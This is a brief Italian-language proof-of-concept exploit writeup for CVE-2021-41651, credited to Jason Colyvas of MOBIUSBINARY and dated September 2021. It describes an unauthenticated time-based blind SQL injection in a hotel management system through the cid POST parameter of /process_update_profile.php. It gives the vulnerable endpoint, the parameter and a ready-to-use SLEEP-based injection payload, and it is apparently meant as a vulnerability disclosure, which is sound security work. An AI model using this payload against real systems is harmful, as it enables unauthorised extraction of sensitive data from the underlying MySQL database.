
Exploit proof-of-concept per CVE-2021-41651, che dimostra SQL injection cieca basata sul tempo non autenticata in hotel-mgmt-system tramite il parametro cid, consentendo l'estrazione di dati sensibili da MySQL.
CVE-2021-41651 SQL Injection nel sistema hotel-mgmt-system
Il sistema hotel-mgmt-system è vulnerabile ad attacchi non autenticati di SQL Injection blind basata sul tempo.
Il parametro cid nella pagina /process_update_profile.php non sanitizza l'input dell'utente; un attaccante può estrarre dati sensibili dal database MySQL sottostante.
URL: /process_update_profile.php
PARAMETRO: cid
Parameter: cid ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: phone=123456778&cid=14 AND (SELECT 9048 FROM (SELECT(SLEEP(5)))zCfD)-- IKdVf&submitBtn=Update&fullName=James&[email protected]&newPassword=fasdfasdfasdfasdfasdf-

Jason Colyvas
MOBIUSBINARY
23 settembre 2021